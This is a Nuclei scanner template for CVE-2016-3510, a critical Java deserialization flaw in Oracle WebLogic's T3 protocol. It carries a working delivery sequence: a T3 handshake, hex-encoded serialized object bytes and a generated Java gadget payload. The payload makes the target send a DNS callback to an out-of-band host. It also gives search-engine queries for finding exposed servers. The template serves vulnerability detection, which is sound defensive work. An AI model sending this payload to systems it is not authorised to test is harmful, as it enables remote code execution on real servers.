Oracle WebLogic Server Java Object Deserialization - Remote Code Execution

id: CVE-2016-3510

info:
  name: Oracle WebLogic Server Java Object Deserialization - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Unspecified vulnerability in the Oracle WebLogic Server component in Oracle Fusion Middleware 10.3.6.0, 12.1.3.0, and 12.2.1.0 allows remote attackers to affect confidentiality, integrity, and availability via vectors related to WLS Core Components, a different vulnerability than CVE-2016-3586.
  impact: |
    Unauthenticated attackers can exploit deserialization vulnerabilities in WLS Core Components through T3 protocol to execute arbitrary code and completely compromise Oracle WebLogic Server installations.
  remediation: |
    Install the relevant patch as per the advisory provided in the Oracle Critical Patch Update for July 2016.
  reference:
    - https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/weblogic.py
    - http://packetstormsecurity.com/files/152324/Oracle-Weblogic-Server-Deserialization-MarshalledObject-Remote-Code-Execution.html
    - http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html
    - http://www.securitytracker.com/id/1036373
    - https://www.tenable.com/security/research/tra-2016-21
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-3510
    cwe-id: CWE-119
    epss-score: 0.91402
    epss-percentile: 0.99814
    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: oracle
    product: weblogic_server
    shodan-query:
      - product:"oracle weblogic"
      - http.title:"oracle peoplesoft sign-in"
    fofa-query: title="oracle peoplesoft sign-in"
    google-query: intitle:"oracle peoplesoft sign-in"
  tags: packetstorm,cve,cve2016,oracle,weblogic,t3,rce,oast,deserialization,network,tcp,vuln

variables:
  start: "016501ffffffffffffffff000000710000ea6000000018432ec6a2a63985b5af7d63e64383f42a6d92c9e9af0f9472027973720078720178720278700000000c00000002000000000000000000000001007070707070700000000c00000002000000000000000000000001007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200094900056d616a6f724900056d696e6f7249000b706174636855706461746549000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000"
  end: "fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200074900056d616a6f724900056d696e6f7249000b706174636855706461746549000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200094900056d616a6f724900056d696e6f7249000b706174636855706461746549000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774621000000000000000000093132372e302e312e31000b75732d6c2d627265656e73a53caff10000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff0078fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d018140128134bf427600093132372e302e312e31a53caff1000000000078"

tcp:
  - inputs:
      - data: "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n"
        read: 1024

      - data: "{{hex_decode(concat('00000460',start,generate_java_gadget('dns', 'http://{{interactsh-url}}', 'hex'),end))}}"

    host:
      - "{{Hostname}}"
      - "{{Host}}:7001"

    read-size: 4
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"